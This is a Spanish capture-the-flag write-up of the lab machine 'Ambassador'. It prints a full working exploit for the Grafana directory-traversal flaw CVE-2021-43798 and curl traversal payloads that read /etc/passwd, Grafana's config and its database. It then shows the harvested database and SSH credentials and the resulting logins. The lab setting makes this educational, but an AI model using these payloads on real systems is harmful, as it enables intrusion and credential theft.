Ambassador [MEDIUM🔵]
Dificultad: Medio
1- Reconocimiento y escaneo
1.1 Ping
1.1 Ping
PING 10.10.11.183 (10.10.11.183) 56(84) bytes of data.
64 bytes from 10.10.11.183: icmp_seq=1 ttl=63 time=172 ms
--- 10.10.11.183 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 172.289/172.289/172.289/0.000 ms
Podemos notar que se trata de una maquina Linux, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
1.2 Nmap
1.2 Nmap
❯ nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv 10.10.11.183 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-21 19:54 -03
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:54
Completed NSE at 19:54, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:54
Completed NSE at 19:54, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:54
Completed NSE at 19:54, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 19:54
Completed Parallel DNS resolution of 1 host. at 19:54, 0.03s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 19:54
Scanning 10.10.11.183 [65535 ports]
Discovered open port 80/tcp on 10.10.11.183
Discovered open port 22/tcp on 10.10.11.183
Discovered open port 3306/tcp on 10.10.11.183
Discovered open port 3000/tcp on 10.10.11.183
Completed SYN Stealth Scan at 19:54, 14.81s elapsed (65535 total ports)
Initiating Service scan at 19:54
Scanning 4 services on 10.10.11.183
Completed Service scan at 19:54, 10.36s elapsed (4 services on 1 host)
NSE: Script scanning 10.10.11.183.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:54
Completed NSE at 19:54, 11.33s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:54
Completed NSE at 19:55, 21.54s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:55
Completed NSE at 19:55, 0.01s elapsed
Nmap scan report for 10.10.11.183
Host is up, received user-set (0.17s latency).
Scanned at 2025-02-21 19:54:17 -03 for 59s
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 29:dd:8e:d7:17:1e:8e:30:90:87:3c:c6:51:00:7c:75 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDLYy5+VCwR+2NKWpIRhSVGI1nJQ5YeihevJqIYbfopEW03vZ9SgacRzs4coGfDbcYa+KPePbz2n+2zXytEPfzBzFysLXgTaUlDFcDqEsWP9pJ5UYFNfXqHCOyDRklsetFOBcxkgC8/IcHDJdJQTEr51KLF75ZXaEIcjZ+XuQWsOrU5DJPrAlCmG12OMjsnP4OfI4RpIjELuLCyVSItoin255/99SSM3koBheX0im9/V8IOpEye9Fc2LigyGA+97wwNSZG2G/duS6lE8pYz1unL+Vg2ogGDN85TkkrS3XdfDLI87AyFBGYniG8+SMtLQOd6tCZeymGK2BQe1k9oWoB7/J6NJ0dylAPAVZ1sDAU7KCUPNAex8q6bh0KrO/5zVbpwMB+qEq6SY6crjtfpYnd7+2DLwiYgcSiQxZMnY3ZkJiIf6s5FkJYmcf/oX1xm/TlP9qoxRKYqLtEJvAHEk/mK+na1Esc8yuPItSRaQzpCgyIwiZCdQlTwWBCVFJZqrXc=
| 256 80:a4:c5:2e:9a:b1:ec:da:27:64:39:a4:08:97:3b:ef (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFgGRouCNEVCXufz6UDFKYkcd3Lmm6WoGKl840u6TuJ8+SKv77LDiJzsXlqcjdeHXA5O87Us7Npwydhw9NYXXYs=
| 256 f5:90:ba:7d:ed:55:cb:70:07:f2:bb:c8:91:93:1b:f6 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINujB7zPDP2GyNBT4Dt4hGiheNd9HOUMN/5Spa21Kg0W
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-generator: Hugo 0.94.2
|_http-title: Ambassador Development Server
3000/tcp open http syn-ack ttl 63 Grafana http
|_http-trane-info: Problem with XML parsing of /evox/about
| http-robots.txt: 1 disallowed entry
|_/
| http-title: Grafana
|_Requested resource was /login
|_http-favicon: Unknown favicon MD5: 279F94A1965D11699C4E33714AE33492
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
3306/tcp open mysql syn-ack ttl 63 MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info:
| Protocol: 10
| Version: 8.0.30-0ubuntu0.20.04.2
| Thread ID: 10
| Capabilities flags: 65535
| Some Capabilities: Support41Auth, FoundRows, Speaks41ProtocolOld, LongColumnFlag, InteractiveClient, SupportsLoadDataLocal, ODBCClient, SupportsCompression, SwitchToSSLAfterHandshake, ConnectWithDatabase, IgnoreSigpipes, SupportsTransactions, IgnoreSpaceBeforeParenthesis, DontAllowDatabaseTableColumn, LongPassword, Speaks41ProtocolNew, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
| Status: Autocommit
| Salt: Oaz/1rD\x1D\x11d\x0F]g`(~i&x>
|_ Auth Plugin Name: caching_sha2_password
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 19:55
Completed NSE at 19:55, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 19:55
Completed NSE at 19:55, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 19:55
Completed NSE at 19:55, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.23 seconds
Raw packets sent: 72325 (3.182MB) | Rcvd: 71724 (2.869MB)
Tenemos 4 puertos que corren sobre la maquina objetivo, 22(OpenSSH 8.2), 80(Apache httpd 2.4.41), 3000(Grafana httpd), 3306(MySQL 8.0.30), el puerto 22 corresponde a un servidor SSH para control remoto seguro mediante linea de comandos, el puerto 80 corresponde a un servidor web, el puerto 3000 corresponde a Grafana, una herramienta DevOps para metricas de bases de datos, y 3306 corresponde a una base de datos MySQL. Tambien podemos notar que la maquina objetivo corre sobre un sistema operativo Ubuntu debido a la información proporcionada por el puerto 3306
Si nos vamos al navegador Firefox dentro de nuestro Kali, y vamos a la pagina web correspondiente que se aloja dentro del puerto 80:

Vemos una aplicación web sencilla. Ahora vamos a ir a la pagina web correspondiente al puerto 3000:

Vemos el panel de administración y el login de Grafana, adjunto a la versión de Grafana(v8.2.0)
1.3 whatweb
1.3 whatweb
http://10.10.11.183/ [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.183], MetaGenerator[Hugo 0.94.2], O
pen-Graph-Protocol[website], Title[Ambassador Development Server], X-UA-Compatible[IE=edge]
Tecnologias utilizadas por el servidor web:
Apache 2.4.41
HTTPServer[Ubuntu Linux]
1.4 Fuzzing
1.4 Fuzzing
❯ dirsearch -u http://10.10.11.183/ -o fuzzing.txt
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12289
Target: http://10.10.11.183/
[19:58:17] Scanning:
[19:58:32] 200 - 2KB - /404.html
[19:58:55] 301 - 317B - /categories -> http://10.10.11.183/categories/
[19:59:11] 301 - 313B - /images -> http://10.10.11.183/images/
[19:59:11] 200 - 993B - /images/
[19:59:11] 200 - 4KB - /index.html
[19:59:11] 200 - 1KB - /index.xml
[19:59:27] 301 - 312B - /posts -> http://10.10.11.183/posts/
[19:59:32] 403 - 277B - /server-status
[19:59:32] 403 - 277B - /server-status/
[19:59:34] 200 - 645B - /sitemap.xml
[19:59:38] 301 - 311B - /tags -> http://10.10.11.183/tags/
Task Completed
Dentro del fuzzing, no encontramos nada relevante
2- Explotación de Grafana
2.1 Searchsploit Grafana 8
2.1 Searchsploit Grafana 8
Vamos a buscar un exploit existente con la información recabada, en este caso buscaremos un exploit para Grafana, concretamente la versión 8:
❯ searchsploit Grafana 8
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Grafana 7.0.1 - Denial of Service (PoC) | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read | multiple/webapps/50581.py
Grafana <=6.2.4 - HTML Injection | typescript/webapps/51073.txt
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
2.2 Path Traversal & Arbitrary File Read
2.2 Path Traversal & Arbitrary File Read
Vemos que hay un exploit de Grafana para realizar un Path Traversal para recorrer las rutas dentro del servidor y tambien de lectura arbitraria de archivos, concretamente el exploit "multiple/webapps/50581.py"
, vamos a visualizar el codigo del exploit y a bajarlo:
searchsploit -x multiple/webapps/50581.py [Visualizarlo]
searchsploit -m multiple/webapps/50581.py [Bajarlo]
❯ searchsploit -x multiple/webapps/50581.py
Exploit: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
URL: https://www.exploit-db.com/exploits/50581
Path: /usr/share/exploitdb/exploits/multiple/webapps/50581.py
Codes: CVE-2021-43798
Verified: False
File Type: Python script, ASCII text executable
❯ searchsploit -m multiple/webapps/50581.py
Exploit: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
URL: https://www.exploit-db.com/exploits/50581
Path: /usr/share/exploitdb/exploits/multiple/webapps/50581.py
Codes: CVE-2021-43798
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/t0mz/CTF/ambassador/50581.py
❯ ls
50581.py escaneo.txt fuzzing.txt ping.txt whatweb.txt
Una vez bajado, vamos a revisar el codigo en detalle:
# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local files.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import argparse
import sys
from random import choice
plugin_list = [
"alertlist",
"annolist",
"barchart",
"bargauge",
"candlestick",
"cloudwatch",
"dashlist",
"elasticsearch",
"gauge",
"geomap",
"gettingstarted",
"grafana-azure-monitor-datasource",
"graph",
"heatmap",
"histogram",
"influxdb",
"jaeger",
"logs",
"loki",
"mssql",
"mysql",
"news",
"nodeGraph",
"opentsdb",
"piechart",
"pluginlist",
"postgres",
"prometheus",
"stackdriver",
"stat",
"state-timeline",
"status-histor",
"table",
"table-old",
"tempo",
"testdata",
"text",
"timeseries",
"welcome",
"zipkin"
]
def exploit(args):
s = requests.Session()
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }
while True:
file_to_read = input('Read file > ')
try:
url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
req = requests.Request(method='GET', url=url, headers=headers)
prep = req.prepare()
prep.url = url
r = s.send(prep, verify=False, timeout=3)
if 'Plugin file not found' in r.text:
print('[-] File not found\n')
else:
if r.status_code == 200:
print(r.text)
else:
print('[-] Something went wrong.')
return
except requests.exceptions.ConnectTimeout:
print('[-] Request timed out. Please check your host settings.\n')
return
except Exception:
pass
def main():
parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read")
parser.add_argument('-H',dest='host',required=True, help="Target host")
args = parser.parse_args()
try:
exploit(args)
except KeyboardInterrupt:
return
if __name__ == '__main__':
main()
sys.exit(0)
Dentro del exploit tenemos un CVE, una vulnerabilidad publica (CVE-2021-43798)
Vemos que concretamente dentro de esta linea, se acontece el path traversal:
url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
Este path traversal funciona con los plugins existentes dentro de Grafana, dentro de la lista de plugins que podemos ver dentro de la lista "plugins_list" en el codigo:
plugin_list = [
"alertlist",
"annolist",
"barchart",
"bargauge",
"candlestick",
"cloudwatch",
"dashlist",
"elasticsearch",
"gauge",
"geomap",
"gettingstarted",
"grafana-azure-monitor-datasource",
"graph",
"heatmap",
"histogram",
"influxdb",
"jaeger",
"logs",
"loki",
"mssql",
"mysql",
"news",
"nodeGraph",
"opentsdb",
"piechart",
"pluginlist",
"postgres",
"prometheus",
"stackdriver",
"stat",
"state-timeline",
"status-histor",
"table",
"table-old",
"tempo",
"testdata",
"text",
"timeseries",
"welcome",
"zipkin"
]
Vamos a ejecutar el exploit con el siguiente comando:
python3 50581.py -H http://10.10.11.183:3000/
Ejecutamos:
❯ python3 50581.py -H http://10.10.11.183:3000/
Read file >
Ahora vamos a indicarle que nos de el contenido del fichero "/etc/passwd":
Read file > /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false
Read file >
Estamos accediendo a un archivo local de la maquina objetivo, esto se conoce como un LFI o Local File Inclusion
2.3 Path Traversal y LFI con Curl
2.3 Path Traversal y LFI con Curl
Ahora vamos a realizar el mismo procedimiento pero de manera manual con la herramienta "curl"
que viene integrada dentro de Kali, con el siguiente comando chequeamos el path traversal y posteriormente el LFI
Si revisamos el codigo del exploit anteriormente utilizado, el path traversal se acontece dentro del directorio de los plugins de Grafana:
url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
Este es el directorio donde se encuentran los plugins de Grafana:
'/public/plugins/'
El valor de choice(plugins_list)
es igual a "alertlist"
Por ende, la ruta para verificar el path traversal, quedaria de la siguiente manera:
http://10.10.11.183:3000/public/plugins/alertlist/
Ahora vamos con el comando utilizado para realizar el Path Traversal con Curl:
curl 'http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../etc/passwd' --path-as-is
Ejecutamos:
❯ curl 'http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../etc/passwd' --path-as-is
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false
Y obtendriamos el archivo /etc/passwd nuevamente pero de forma manual con la herramienta curl
Ahora vamos a guardar el contenido de este archivo en nuestro Kali:
❯ vim passwd_ambassador
❯ cat passwd_ambassador
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: passwd_ambassador
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ t:x:0:0:root:/root:/bin/bash
3 │ daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
4 │ bin:x:2:2:bin:/bin:/usr/sbin/nologin
5 │ sys:x:3:3:sys:/dev:/usr/sbin/nologin
6 │ sync:x:4:65534:sync:/bin:/bin/sync
7 │ games:x:5:60:games:/usr/games:/usr/sbin/nologin
8 │ man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
9 │ lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
10 │ mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
11 │ news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
12 │ uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
13 │ proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
14 │ www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
15 │ backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
16 │ list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
17 │ irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
18 │ gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
19 │ nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
20 │ systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
21 │ systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
22 │ systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
23 │ messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
24 │ syslog:x:104:110::/home/syslog:/usr/sbin/nologin
25 │ _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
26 │ tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
27 │ uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
28 │ tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
29 │ landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
30 │ pollinate:x:110:1::/var/cache/pollinate:/bin/false
31 │ usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
32 │ sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
33 │ systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
34 │ developer:x:1000:1000:developer:/home/developer:/bin/bash
35 │ lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
36 │ grafana:x:113:118::/usr/share/grafana:/bin/false
37 │ mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
38 │ consul:x:997:997::/home/consul:/bin/false
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
2.4 Path Traversal al archivo de configuración de Grafana
2.4 Path Traversal al archivo de configuración de Grafana
Con esto ya sabemos los usuarios que se encuentran dentro de la maquina objetivo, ahora vamos a hacer el mismo path traversal pero con el archivo de configuración de Grafana:
curl 'http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../etc/grafana/grafana.ini' --path-as-is
Ejecutamos y nos daria el fichero de configuración de Grafana para visualizarlo dentro de la consola, sera mejor que lo guardemos con el siguiente comando:
curl 'http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../etc/grafana/grafana.ini' --path-as-is > grafana_ambassador.ini
Ahora si analizamos el archivo, veremos que en una de las lineas, concretamente en la sección de seguridad, podremos grepear por la palabra clave "admin" con el siguiente comando:
cat grafana_ambassador.ini | grep 'admin'
Ejecutamos:
# disable creation of admin user on first start of grafana
;disable_initial_admin_creation = false
# default admin user, created on startup
;admin_user = admin
# default admin password, can be changed before first start of grafana, or in profile settings
admin_password = messageInABottle685427
# Allow non admin users to create organizations
# Editors can administrate dashboard, folders and teams they create
;editors_can_admin = false
# Enter a comma-separated list of users login to hide them in the Grafana UI. These users are shown to Grafana admins and themselves.
;from_address = admin@grafana.localhost
# Specify the frequency of polling for admin config changes.
;admin_config_poll_interval = 60s
;plugin_admin_enabled = false
;plugin_admin_external_manage_enabled = false
Si revisamos bien la salida del comando con el pipe y el grep, veremos que hay unas credenciales:
;admin_user = admin
admin_password = messageInABottle685427
Vamos a Firefox para iniciar sesión dentro de Grafana:

Y nos inicia sesión correctamente:

2.5 Path Traversal al archivo de configuración de base de datos de Grafana
2.5 Path Traversal al archivo de configuración de base de datos de Grafana
Vamos a realizar un dumpeo del archivo de configuración de la base de datos de Grafana con el path traversal encontrado con el siguiente comando:
curl 'http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../var/lib/grafana/grafana.db' --path-as-is -o db_grafana.db
Ejecutamos:
❯ curl 'http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../../../var/lib/grafana/grafana.db' --path-as-is -o db_grafana.db
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 644k 100 644k 0 0 513k 0 0:00:01 0:00:01 --:--:-- 513k
Nos guardra la configuración de la DB de Grafana en un archivo llamado "db_grafana.db", recordemos que este archivo es un binario.
Vamos a grepearlo para encontrar posibles credenciales con el siguiente comando:
strings db_grafana.db | grep grafana
(Recordemos que al ser un archivo binario, utilizamos el comando stirngs
y no cat
)
Ejecutamos:
❯ strings db_grafana.db | grep grafana
mysqlmysql.yamlproxydontStandSoCloseToMe63221!grafanagrafana{}2022-09-01 22:43:032025-02-21 22:51:51{}uKewFgM4z
mysqlMySQLproxydontStandSoCloseToMegrafanagrafana{}2022-09-01 22:36:392022-09-01 22:36:39{}R7v2FgGVk
Si analizamos podemos ver que hay palabras que indican una posible contraseña:
Username: grafana
DB: grafana
Password: dontStandSoCloseToMe63221!
2.6 Conexión a la DB MySQL con las credenciales obtenidas
2.6 Conexión a la DB MySQL con las credenciales obtenidas
Ahora sabiendo estas credenciales y recordando el escaneo de Nmap, hay un puerto 3306, correspondiente a una base de datos MySQL, vamos a conectarnos a la misma con el siguiente comando:
mysql -h 10.10.11.183 -u grafana -p --skip-ssl
(Recordar saltear el cifrado TLS/SSL)
Ejecutamos:
❯ mysql -h 10.10.11.183 -u grafana -p --skip-ssl
Enter password:
Nos pedira la contraseña, en este caso "dontStandSoCloseToMe63221!", la introducimos:
❯ mysql -h 10.10.11.183 -u grafana -p --skip-ssl
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 30
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
Vamos a ver que bases de datos se encuentran dentro de la maquina objetivo:
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| grafana |
| information_schema |
| mysql |
| performance_schema |
| sys |
| whackywidget |
+--------------------+
6 rows in set (0.180 sec)
MySQL [(none)]>
La base de datos "grafana" no contiene ninguna tabla, sin embargo, la DB "whackywidget" si contiene, vamos a seleccionar la base de datos:
MySQL [grafana]> USE whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [whackywidget]>
Y vamos a listar las tablas:
MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users |
+------------------------+
1 row in set (0.174 sec)
MySQL [whackywidget]>
Ahora vamos a seleccionar todos los elementos de la tabla "users":
MySQL [whackywidget]> SELECT * FROM users
-> ;
+-----------+------------------------------------------+
| user | pass |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0.174 sec)
MySQL [whackywidget]>
3- Conexión a SSH con las credenciales de la DB de MySQL
Si recordamos, dentro del archivo /etc/passwd
tenemos un usuario llamado "developer"
34 │ developer:x:1000:1000:developer:/home/developer:/bin/bash
Por ende:
Usuario: developer
Password: YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==
Si prestamos atención, la contraseña parece estar ciftada en base64
Vamos a decifrarla con el siguiente comando:
echo 'YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==' | base64 -d
Ejecutamos:
❯ echo 'YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==' | base64 -d
anEnglishManInNewYork027468
Nos daria la contraseña en texto plano, de tal forma que el usuario y el password quedaria asi:
Usuario: developer
Password: anEnglishManInNewYork027468
Tambien dentro de la maquina objetivo tenemos el servicio SSH corriendo, vamos a intentar conectarnos mediante SSH con estas credenciales de la DB:
ssh developer@10.10.11.183
Ejecutamos:
❯ ssh developer@10.10.11.183
developer@10.10.11.183's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat 22 Feb 2025 02:42:37 AM UTC
System load: 0.0
Usage of /: 80.9% of 5.07GB
Memory usage: 39%
Swap usage: 0%
Processes: 225
Users logged in: 0
IPv4 address for eth0: 10.10.11.183
IPv6 address for eth0: dead:beef::250:56ff:feb0:5ffd
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Fri Sep 2 02:33:30 2022 from 10.10.0.1
developer@ambassador:~$
Ya tendriamos acceso al usuario "developer" mediante SSH
3.1 Obtención de la flag de usuario
3.1 Obtención de la flag de usuario
Una vez obtenemos acceso al usuario "developer" mediante SSH, vamos a listar los directorios:
developer@ambassador:~$ ls
